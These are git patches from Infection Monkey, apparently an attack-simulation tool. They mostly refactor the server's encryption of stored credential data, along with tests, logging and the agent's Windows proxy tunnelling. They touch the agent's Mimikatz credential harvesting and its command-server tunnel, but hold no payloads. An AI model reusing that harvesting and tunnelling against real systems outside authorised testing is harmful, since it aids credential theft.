--- a/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/string_list_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/string_list_encryptor.py @@ -1,9 +1,7 @@ from typing import List -from monkey_island.cc.server_utils.encryption import get_datastore_encryptor -from monkey_island.cc.server_utils.encryption.dict_encryption.field_encryptors import ( - IFieldEncryptor, -) +from ... import get_datastore_encryptor +from . import IFieldEncryptor class StringListEncryptor(IFieldEncryptor): diff --git a/monkey/monkey_island/cc/server_utils/encryption/encryptors/__init__.py b/monkey/monkey_island/cc/server_utils/encryption/encryptors/__init__.py index e69de29bb..11386f798 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/encryptors/__init__.py +++ b/monkey/monkey_island/cc/server_utils/encryption/encryptors/__init__.py @@ -0,0 +1,4 @@ +from .i_encryptor import IEncryptor +from .key_based_encryptor import KeyBasedEncryptor +from .password_based_string_encryptor import PasswordBasedStringEncryptor +from .password_based_bytes_encryptor import PasswordBasedBytesEncryptor diff --git a/monkey/monkey_island/cc/server_utils/encryption/encryptors/key_based_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/encryptors/key_based_encryptor.py index 551014be1..41c8b0db2 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/encryptors/key_based_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/encryptors/key_based_encryptor.py @@ -7,7 +7,7 @@ from Crypto import Random # noqa: DUO133 # nosec: B413 from Crypto.Cipher import AES # noqa: DUO133 # nosec: B413 from Crypto.Util import Padding # noqa: DUO133 -from monkey_island.cc.server_utils.encryption import IEncryptor +from .i_encryptor import IEncryptor logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/server_utils/encryption/encryptors/password_based_bytes_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/encryptors/password_based_bytes_encryptor.py index 2e7c05819..ca46f5646 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/encryptors/password_based_bytes_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/encryptors/password_based_bytes_encryptor.py @@ -3,7 +3,7 @@ import logging import pyAesCrypt -from monkey_island.cc.server_utils.encryption import IEncryptor +from .i_encryptor import IEncryptor logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/server_utils/encryption/encryptors/password_based_string_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/encryptors/password_based_string_encryptor.py index be8b6d6d6..dac7276e9 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/encryptors/password_based_string_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/encryptors/password_based_string_encryptor.py @@ -3,10 +3,8 @@ import logging import pyAesCrypt -from monkey_island.cc.server_utils.encryption import IEncryptor -from monkey_island.cc.server_utils.encryption.encryptors.password_based_bytes_encryptor import ( - PasswordBasedBytesEncryptor, -) +from .i_encryptor import IEncryptor +from .password_based_bytes_encryptor import PasswordBasedBytesEncryptor logger = logging.getLogger(__name__) From a24979155fdc04f39c79ecf98f8db170c56d5776 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 4 Oct 2021 17:21:08 -0400 Subject: [PATCH 329/454] Island: Improve logging in PasswordBasedBytesEncryptor --- .../encryption/encryptors/password_based_bytes_encryptor.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/encryption/encryptors/password_based_bytes_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/encryptors/password_based_bytes_encryptor.py index ca46f5646..b50e77e87 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/encryptors/password_based_bytes_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/encryptors/password_based_bytes_encryptor.py @@ -47,10 +47,10 @@ class PasswordBasedBytesEncryptor(IEncryptor): ) except ValueError as ex: if str(ex).startswith("Wrong password"): - logger.info("Wrong password provided for decryption.") + logger.error("Wrong password provided for decryption.") raise InvalidCredentialsError else: - logger.info("The corrupt ciphertext provided.") + logger.error("The provided ciphertext was corrupt.") raise InvalidCiphertextError return plaintext_stream.getvalue() From 8f9289517f57233842385e691d7c19e3d2635c04 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 4 Oct 2021 17:22:52 -0400 Subject: [PATCH 330/454] Tests: Decouple uses_encryptor() fixture from AuthenticationService --- monkey/tests/unit_tests/monkey_island/cc/conftest.py | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/conftest.py index 7d9642201..22390dea7 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/conftest.py @@ -11,7 +11,6 @@ from tests.unit_tests.monkey_island.cc.server_utils.encryption.test_password_bas ) from monkey_island.cc.server_utils.encryption import initialize_datastore_encryptor -from monkey_island.cc.services.authentication import AuthenticationService @pytest.fixture @@ -28,11 +27,7 @@ def monkey_config_json(monkey_config): return json.dumps(monkey_config) -MOCK_USERNAME = "m0nk3y_u53r" -MOCK_PASSWORD = "3cr3t_p455w0rd" - - @pytest.fixture def uses_encryptor(data_for_tests_dir): - secret = AuthenticationService._get_secret_from_credentials(MOCK_USERNAME, MOCK_PASSWORD) + secret = "m0nk3y_u53r:3cr3t_p455w0rd" initialize_datastore_encryptor(data_for_tests_dir, secret) From 849ced23342d8654ba92528484f6bf789466ab1c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 5 Oct 2021 12:10:46 -0400 Subject: [PATCH 331/454] Tests: Improve telemetry_dal tests * Reduce unnecessary mocking * Remove defunct "mimikatz" field from mock telemetry * Test encryption/decryption of all secret types for all users --- .../models/telemetries/test_telemetry_dal.py | 55 +++++++------------ 1 file changed, 20 insertions(+), 35 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/telemetries/test_telemetry_dal.py b/monkey/tests/unit_tests/monkey_island/cc/models/telemetries/test_telemetry_dal.py index d6a35760a..f2b81eb24 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/models/telemetries/test_telemetry_dal.py +++ b/monkey/tests/unit_tests/monkey_island/cc/models/telemetries/test_telemetry_dal.py @@ -6,13 +6,9 @@ import pytest from monkey_island.cc.models.telemetries import get_telemetry_by_query, save_telemetry from monkey_island.cc.models.telemetries.telemetry import Telemetry -from monkey_island.cc.server_utils.encryption import SensitiveField -from monkey_island.cc.server_utils.encryption.dict_encryption.field_encryptors import ( - MimikatzResultsEncryptor, -) MOCK_CREDENTIALS = { - "Vakaris": { + "M0nk3y": { "username": "M0nk3y", "password": "", "ntlm_hash": "e87f2f73e353f1d95e42ce618601b61f", @@ -24,7 +20,6 @@ MOCK_CREDENTIALS = { MOCK_DATA_DICT = { "network_info": {}, "credentials": deepcopy(MOCK_CREDENTIALS), - "mimikatz": deepcopy(MOCK_CREDENTIALS), } MOCK_TELEMETRY = { @@ -49,19 +44,6 @@ MOCK_NO_ENCRYPTION_NEEDED_TELEMETRY = { "data": {"done": False}, } -MOCK_SENSITIVE_FIELDS = [ - SensitiveField("data.credentials", MimikatzResultsEncryptor), - SensitiveField("data.mimikatz", MimikatzResultsEncryptor), -] - - -@pytest.fixture(autouse=True) -def patch_sensitive_fields(monkeypatch): - monkeypatch.setattr( - "monkey_island.cc.models.telemetries.telemetry_dal.sensitive_fields", - MOCK_SENSITIVE_FIELDS, - ) - @pytest.fixture(autouse=True) def fake_mongo(monkeypatch): @@ -71,24 +53,27 @@ def fake_mongo(monkeypatch): @pytest.mark.usefixtures("uses_database", "uses_encryptor") def test_telemetry_encryption(): + secret_keys = ["password", "lm_hash", "ntlm_hash"] save_telemetry(MOCK_TELEMETRY) - assert ( - not Telemetry.objects.first()["data"]["credentials"]["user"]["password"] - == MOCK_CREDENTIALS["user"]["password"] - ) - assert ( - not Telemetry.objects.first()["data"]["mimikatz"]["Vakaris"]["ntlm_hash"] - == MOCK_CREDENTIALS["Vakaris"]["ntlm_hash"] - ) - assert ( - get_telemetry_by_query({})[0]["data"]["credentials"]["user"]["password"] - == MOCK_CREDENTIALS["user"]["password"] - ) - assert ( - get_telemetry_by_query({})[0]["data"]["mimikatz"]["Vakaris"]["ntlm_hash"] - == MOCK_CREDENTIALS["Vakaris"]["ntlm_hash"] - ) + + encrypted_telemetry = Telemetry.objects.first() + for user in MOCK_CREDENTIALS.keys(): + assert encrypted_telemetry["data"]["credentials"][user]["username"] == user + + for s in secret_keys: + assert ( + encrypted_telemetry["data"]["credentials"][user][s] != MOCK_CREDENTIALS[user][s] + ) + + decrypted_telemetry = get_telemetry_by_query({})[0] + for user in MOCK_CREDENTIALS.keys(): + assert decrypted_telemetry["data"]["credentials"][user]["username"] == user + + for s in secret_keys: + assert ( + decrypted_telemetry["data"]["credentials"][user][s] == MOCK_CREDENTIALS[user][s] + ) @pytest.mark.usefixtures("uses_database", "uses_encryptor") From e7fcf933b7912f039c3bd271516d5d3d7889f6ae Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 5 Oct 2021 12:12:38 -0400 Subject: [PATCH 332/454] Island: Remove try/except from MimikatzResultsEncryptor.encrypt() Catching this exception was a workaround for an issue that was resolved in PR #1508. --- .../mimikatz_cred_collector.py | 2 ++ .../field_encryptors/mimikatz_results_encryptor.py | 13 +++---------- 2 files changed, 5 insertions(+), 10 deletions(-) diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py b/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py index 6a4ef7799..ab44d85ea 100644 --- a/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py +++ b/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py @@ -16,6 +16,8 @@ class MimikatzCredentialCollector(object): def cred_list_to_cred_dict(creds: List[WindowsCredentials]): cred_dict = {} for cred in creds: + # TODO: This should be handled by the island, not the agent. There is already similar + # code in monkey_island/cc/models/report/report_dal.py. # Lets not use "." and "$" in keys, because it will confuse mongo. # Ideally we should refactor island not to use a dict and simply parse credential list. key = cred.username.replace(".", ",").replace("$", "") diff --git a/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/mimikatz_results_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/mimikatz_results_encryptor.py index 163bee8fd..696a9187b 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/mimikatz_results_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/mimikatz_results_encryptor.py @@ -14,16 +14,9 @@ class MimikatzResultsEncryptor(IFieldEncryptor): def encrypt(results: dict) -> dict: for _, credentials in results.items(): for secret_type in MimikatzResultsEncryptor.secret_types: - try: - credentials[secret_type] = get_datastore_encryptor().encrypt( - credentials[secret_type] - ) - except ValueError as e: - logger.error( - f"Failed encrypting sensitive field for " - f"user {credentials['username']}! Error: {e}" - ) - credentials[secret_type] = get_datastore_encryptor().encrypt("") + credentials[secret_type] = get_datastore_encryptor().encrypt( + credentials[secret_type] + ) return results @staticmethod From bf082d36ef81528ae9df2736fed529aae1a593db Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 5 Oct 2021 12:14:10 -0400 Subject: [PATCH 333/454] Tests: Mark encryption tests as slow --- .../cc/models/telemetries/test_telemetry_dal.py | 10 ++++------ .../field_encryptors/test_string_list_encryptor.py | 4 ++++ .../encryption/test_data_store_encryptor.py | 4 ++++ 3 files changed, 12 insertions(+), 6 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/telemetries/test_telemetry_dal.py b/monkey/tests/unit_tests/monkey_island/cc/models/telemetries/test_telemetry_dal.py index f2b81eb24..77003ec8f 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/models/telemetries/test_telemetry_dal.py +++ b/monkey/tests/unit_tests/monkey_island/cc/models/telemetries/test_telemetry_dal.py @@ -51,6 +51,7 @@ def fake_mongo(monkeypatch): monkeypatch.setattr("monkey_island.cc.models.telemetries.telemetry_dal.mongo", mongo) +@pytest.mark.slow @pytest.mark.usefixtures("uses_database", "uses_encryptor") def test_telemetry_encryption(): secret_keys = ["password", "lm_hash", "ntlm_hash"] @@ -62,20 +63,17 @@ def test_telemetry_encryption(): assert encrypted_telemetry["data"]["credentials"][user]["username"] == user for s in secret_keys: - assert ( - encrypted_telemetry["data"]["credentials"][user][s] != MOCK_CREDENTIALS[user][s] - ) + assert encrypted_telemetry["data"]["credentials"][user][s] != MOCK_CREDENTIALS[user][s] decrypted_telemetry = get_telemetry_by_query({})[0] for user in MOCK_CREDENTIALS.keys(): assert decrypted_telemetry["data"]["credentials"][user]["username"] == user for s in secret_keys: - assert ( - decrypted_telemetry["data"]["credentials"][user][s] == MOCK_CREDENTIALS[user][s] - ) + assert decrypted_telemetry["data"]["credentials"][user][s] == MOCK_CREDENTIALS[user][s] +@pytest.mark.slow @pytest.mark.usefixtures("uses_database", "uses_encryptor") def test_no_encryption_needed(): # Make sure telemetry save doesn't break when telemetry doesn't need encryption diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py b/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py index 7ea21849b..e39dffd94 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py +++ b/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py @@ -1,3 +1,5 @@ +import pytest + from monkey_island.cc.server_utils.encryption.dict_encryption.field_encryptors import ( StringListEncryptor, ) @@ -6,6 +8,7 @@ MOCK_STRING_LIST = ["test_1", "test_2"] EMPTY_LIST = [] +@pytest.mark.slow def test_encryption_and_decryption(uses_encryptor): encrypted_list = StringListEncryptor.encrypt(MOCK_STRING_LIST) assert not encrypted_list == MOCK_STRING_LIST @@ -13,6 +16,7 @@ def test_encryption_and_decryption(uses_encryptor): assert decrypted_list == MOCK_STRING_LIST +@pytest.mark.slow def test_empty_list(uses_encryptor): # Tests that no errors are raised encrypted_list = StringListEncryptor.encrypt(EMPTY_LIST) diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py index 7c379af1c..f24040c22 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py @@ -11,6 +11,7 @@ PLAINTEXT = "Hello, Monkey!" MOCK_SECRET = "53CR31" +@pytest.mark.slow @pytest.mark.usefixtures("uses_encryptor") def test_encryption(data_for_tests_dir): encrypted_data = get_datastore_encryptor().encrypt(PLAINTEXT) @@ -33,10 +34,12 @@ def initialized_encryptor_dir(tmpdir): return tmpdir +@pytest.mark.slow def test_key_creation(initialized_encryptor_dir): assert (initialized_encryptor_dir / data_store_encryptor._KEY_FILENAME).isfile() +@pytest.mark.slow def test_key_removal(initialized_encryptor_dir): remove_old_datastore_key(initialized_encryptor_dir) assert not (initialized_encryptor_dir / data_store_encryptor._KEY_FILENAME).isfile() @@ -49,6 +52,7 @@ def test_key_removal__no_key(tmpdir): data_store_encryptor._factory = None +@pytest.mark.slow @pytest.mark.usefixtures("cleanup_encryptor") def test_key_file_encryption(tmpdir, monkeypatch): monkeypatch.setattr(data_store_encryptor, "_get_random_bytes", lambda: PLAINTEXT.encode()) From 0eafc6613a14908bab3c0952d3f6ad30d571dabb Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 5 Oct 2021 12:37:05 -0400 Subject: [PATCH 334/454] Island: Flatten directory structure for "encryption" package --- .../cc/server_utils/encryption/__init__.py | 15 ++++++++------- .../encryption/data_store_encryptor.py | 4 +++- .../encryption/dict_encryption/__init__.py | 0 .../{dict_encryption => }/dict_encryptor.py | 0 .../encryption/encryptors/__init__.py | 4 ---- .../field_encryptors/__init__.py | 0 .../field_encryptors/i_field_encryptor.py | 0 .../mimikatz_results_encryptor.py | 2 +- .../field_encryptors/string_list_encryptor.py | 2 +- .../encryption/{encryptors => }/i_encryptor.py | 0 .../{encryptors => }/key_based_encryptor.py | 0 .../password_based_bytes_encryptor.py | 0 .../password_based_string_encryptor.py | 0 .../monkey_island/cc/models/test_report_dal.py | 5 +---- .../encryption}/test_string_list_encryptor.py | 4 +--- 15 files changed, 15 insertions(+), 21 deletions(-) delete mode 100644 monkey/monkey_island/cc/server_utils/encryption/dict_encryption/__init__.py rename monkey/monkey_island/cc/server_utils/encryption/{dict_encryption => }/dict_encryptor.py (100%) delete mode 100644 monkey/monkey_island/cc/server_utils/encryption/encryptors/__init__.py rename monkey/monkey_island/cc/server_utils/encryption/{dict_encryption => }/field_encryptors/__init__.py (100%) rename monkey/monkey_island/cc/server_utils/encryption/{dict_encryption => }/field_encryptors/i_field_encryptor.py (100%) rename monkey/monkey_island/cc/server_utils/encryption/{dict_encryption => }/field_encryptors/mimikatz_results_encryptor.py (93%) rename monkey/monkey_island/cc/server_utils/encryption/{dict_encryption => }/field_encryptors/string_list_encryptor.py (86%) rename monkey/monkey_island/cc/server_utils/encryption/{encryptors => }/i_encryptor.py (100%) rename monkey/monkey_island/cc/server_utils/encryption/{encryptors => }/key_based_encryptor.py (100%) rename monkey/monkey_island/cc/server_utils/encryption/{encryptors => }/password_based_bytes_encryptor.py (100%) rename monkey/monkey_island/cc/server_utils/encryption/{encryptors => }/password_based_string_encryptor.py (100%) rename monkey/tests/unit_tests/monkey_island/cc/{models/utils/field_encryptors => server_utils/encryption}/test_string_list_encryptor.py (83%) diff --git a/monkey/monkey_island/cc/server_utils/encryption/__init__.py b/monkey/monkey_island/cc/server_utils/encryption/__init__.py index 907ffbde6..1b302a6fc 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/__init__.py +++ b/monkey/monkey_island/cc/server_utils/encryption/__init__.py @@ -1,12 +1,12 @@ -from monkey_island.cc.server_utils.encryption.encryptors.i_encryptor import IEncryptor -from monkey_island.cc.server_utils.encryption.encryptors.key_based_encryptor import ( +from .i_encryptor import IEncryptor +from .key_based_encryptor import ( KeyBasedEncryptor, ) -from monkey_island.cc.server_utils.encryption.encryptors.password_based_string_encryptor import ( +from .password_based_string_encryptor import ( PasswordBasedStringEncryptor, is_encrypted, ) -from monkey_island.cc.server_utils.encryption.encryptors.password_based_bytes_encryptor import ( +from .password_based_bytes_encryptor import ( PasswordBasedBytesEncryptor, InvalidCredentialsError, InvalidCiphertextError, @@ -16,11 +16,12 @@ from .data_store_encryptor import ( get_datastore_encryptor, remove_old_datastore_key, ) -from .dict_encryption.dict_encryptor import ( +from .dict_encryptor import ( SensitiveField, encrypt_dict, decrypt_dict, FieldNotFoundError, ) -from .dict_encryption.field_encryptors.mimikatz_results_encryptor import MimikatzResultsEncryptor -from .dict_encryption.field_encryptors.string_list_encryptor import StringListEncryptor +from .field_encryptors.i_field_encryptor import IFieldEncryptor +from .field_encryptors.mimikatz_results_encryptor import MimikatzResultsEncryptor +from .field_encryptors.string_list_encryptor import StringListEncryptor diff --git a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py index 3e8028944..424a511f7 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py @@ -5,7 +5,9 @@ from Crypto import Random # noqa: DUO133 # nosec: B413 from monkey_island.cc.server_utils.file_utils import open_new_securely_permissioned_file -from .encryptors import IEncryptor, KeyBasedEncryptor, PasswordBasedBytesEncryptor +from .i_encryptor import IEncryptor +from .key_based_encryptor import KeyBasedEncryptor +from .password_based_bytes_encryptor import PasswordBasedBytesEncryptor _KEY_FILENAME = "mongo_key.bin" _BLOCK_SIZE = 32 diff --git a/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/__init__.py b/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/__init__.py deleted file mode 100644 index e69de29bb..000000000 diff --git a/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/dict_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/dict_encryptor.py similarity index 100% rename from monkey/monkey_island/cc/server_utils/encryption/dict_encryption/dict_encryptor.py rename to monkey/monkey_island/cc/server_utils/encryption/dict_encryptor.py diff --git a/monkey/monkey_island/cc/server_utils/encryption/encryptors/__init__.py b/monkey/monkey_island/cc/server_utils/encryption/encryptors/__init__.py deleted file mode 100644 index 11386f798..000000000 --- a/monkey/monkey_island/cc/server_utils/encryption/encryptors/__init__.py +++ /dev/null @@ -1,4 +0,0 @@ -from .i_encryptor import IEncryptor -from .key_based_encryptor import KeyBasedEncryptor -from .password_based_string_encryptor import PasswordBasedStringEncryptor -from .password_based_bytes_encryptor import PasswordBasedBytesEncryptor diff --git a/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/__init__.py b/monkey/monkey_island/cc/server_utils/encryption/field_encryptors/__init__.py similarity index 100% rename from monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/__init__.py rename to monkey/monkey_island/cc/server_utils/encryption/field_encryptors/__init__.py diff --git a/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/i_field_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/field_encryptors/i_field_encryptor.py similarity index 100% rename from monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/i_field_encryptor.py rename to monkey/monkey_island/cc/server_utils/encryption/field_encryptors/i_field_encryptor.py diff --git a/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/mimikatz_results_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/field_encryptors/mimikatz_results_encryptor.py similarity index 93% rename from monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/mimikatz_results_encryptor.py rename to monkey/monkey_island/cc/server_utils/encryption/field_encryptors/mimikatz_results_encryptor.py index 696a9187b..31f597e60 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/mimikatz_results_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/field_encryptors/mimikatz_results_encryptor.py @@ -1,6 +1,6 @@ import logging -from ... import get_datastore_encryptor +from ..data_store_encryptor import get_datastore_encryptor from . import IFieldEncryptor logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/string_list_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/field_encryptors/string_list_encryptor.py similarity index 86% rename from monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/string_list_encryptor.py rename to monkey/monkey_island/cc/server_utils/encryption/field_encryptors/string_list_encryptor.py index 6a0dd58d2..ce0ceb8dd 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/string_list_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/field_encryptors/string_list_encryptor.py @@ -1,6 +1,6 @@ from typing import List -from ... import get_datastore_encryptor +from ..data_store_encryptor import get_datastore_encryptor from . import IFieldEncryptor diff --git a/monkey/monkey_island/cc/server_utils/encryption/encryptors/i_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/i_encryptor.py similarity index 100% rename from monkey/monkey_island/cc/server_utils/encryption/encryptors/i_encryptor.py rename to monkey/monkey_island/cc/server_utils/encryption/i_encryptor.py diff --git a/monkey/monkey_island/cc/server_utils/encryption/encryptors/key_based_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/key_based_encryptor.py similarity index 100% rename from monkey/monkey_island/cc/server_utils/encryption/encryptors/key_based_encryptor.py rename to monkey/monkey_island/cc/server_utils/encryption/key_based_encryptor.py diff --git a/monkey/monkey_island/cc/server_utils/encryption/encryptors/password_based_bytes_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/password_based_bytes_encryptor.py similarity index 100% rename from monkey/monkey_island/cc/server_utils/encryption/encryptors/password_based_bytes_encryptor.py rename to monkey/monkey_island/cc/server_utils/encryption/password_based_bytes_encryptor.py diff --git a/monkey/monkey_island/cc/server_utils/encryption/encryptors/password_based_string_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/password_based_string_encryptor.py similarity index 100% rename from monkey/monkey_island/cc/server_utils/encryption/encryptors/password_based_string_encryptor.py rename to monkey/monkey_island/cc/server_utils/encryption/password_based_string_encryptor.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/test_report_dal.py b/monkey/tests/unit_tests/monkey_island/cc/models/test_report_dal.py index 5d3d5a49a..67ac8355e 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/models/test_report_dal.py +++ b/monkey/tests/unit_tests/monkey_island/cc/models/test_report_dal.py @@ -5,10 +5,7 @@ import pytest from monkey_island.cc.models import Report from monkey_island.cc.models.report import get_report, save_report -from monkey_island.cc.server_utils.encryption import SensitiveField -from monkey_island.cc.server_utils.encryption.dict_encryption.field_encryptors import ( - IFieldEncryptor, -) +from monkey_island.cc.server_utils.encryption import IFieldEncryptor, SensitiveField MOCK_SENSITIVE_FIELD_CONTENTS = ["the_string", "the_string2"] MOCK_REPORT_DICT = { diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_string_list_encryptor.py similarity index 83% rename from monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py rename to monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_string_list_encryptor.py index e39dffd94..b78cd6ec0 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_string_list_encryptor.py @@ -1,8 +1,6 @@ import pytest -from monkey_island.cc.server_utils.encryption.dict_encryption.field_encryptors import ( - StringListEncryptor, -) +from monkey_island.cc.server_utils.encryption import StringListEncryptor MOCK_STRING_LIST = ["test_1", "test_2"] EMPTY_LIST = [] From c124db7880ff645ff24b3b238fbebce9c1bb3985 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 5 Oct 2021 13:51:03 -0400 Subject: [PATCH 335/454] Agent: Use different proxy scheme on Windows --- monkey/infection_monkey/control.py | 15 ++++++++++++++- 1 file changed, 14 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index 7b8f46f81..62bd5872a 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -115,7 +115,20 @@ class ControlClient(object): if proxy_find: proxy_address, proxy_port = proxy_find logger.info("Found tunnel at %s:%s" % (proxy_address, proxy_port)) - ControlClient.proxies["https"] = PROXY_SCHEMA % (proxy_address, proxy_port) + from infection_monkey.utils.environment import is_windows_os + + logger.info(f"requests version: {requests.__version__}") + import urllib3 + + logger.info(f"urllib3 version: {urllib3.__version__}") + if is_windows_os(): + ControlClient.proxies["https"] = "https://%s:%s" % ( + proxy_address, + proxy_port, + ) + else: + ControlClient.proxies["https"] = PROXY_SCHEMA % (proxy_address, proxy_port) + logger.info(ControlClient.proxies) return ControlClient.find_server() else: logger.info("No tunnel found") From c0b257127a738b5621fc3f2b3b7142488e12bc16 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 5 Oct 2021 15:59:39 -0400 Subject: [PATCH 336/454] Island: Implement DataStoreEncryptor as a class This allows us to begin decoupling some implementation details from the AuthenticationService. --- .../encryption/data_store_encryptor.py | 82 +++++++++++-------- .../cc/services/authentication.py | 2 +- .../encryption/test_data_store_encryptor.py | 74 +++++++++-------- 3 files changed, 88 insertions(+), 70 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py index 424a511f7..6a44b5cff 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py @@ -1,4 +1,5 @@ import os +from pathlib import Path from typing import Union from Crypto import Random # noqa: DUO133 # nosec: B413 @@ -9,49 +10,62 @@ from .i_encryptor import IEncryptor from .key_based_encryptor import KeyBasedEncryptor from .password_based_bytes_encryptor import PasswordBasedBytesEncryptor -_KEY_FILENAME = "mongo_key.bin" -_BLOCK_SIZE = 32 - _encryptor: Union[None, IEncryptor] = None -def _load_existing_key(key_file_path: str, secret: str) -> KeyBasedEncryptor: - with open(key_file_path, "rb") as f: - encrypted_key = f.read() - cipher_key = PasswordBasedBytesEncryptor(secret).decrypt(encrypted_key) - return KeyBasedEncryptor(cipher_key) +class DataStoreEncryptor(IEncryptor): + _KEY_LENGTH_BYTES = 32 + + def __init__(self, secret: str, key_file_path: Path): + self._key_file_path = key_file_path + self._password_based_encryptor = PasswordBasedBytesEncryptor(secret) + self._key_based_encryptor = self._initialize_key_based_encryptor() + + def _initialize_key_based_encryptor(self): + if os.path.exists(self._key_file_path): + return self._load_existing_key() + + return self._create_new_key() + + def _load_existing_key(self) -> KeyBasedEncryptor: + with open(self._key_file_path, "rb") as f: + encrypted_key = f.read() + + plaintext_key = self._password_based_encryptor.decrypt(encrypted_key) + return KeyBasedEncryptor(plaintext_key) + + def _create_new_key(self) -> KeyBasedEncryptor: + plaintext_key = Random.new().read(DataStoreEncryptor._KEY_LENGTH_BYTES) + + encrypted_key = 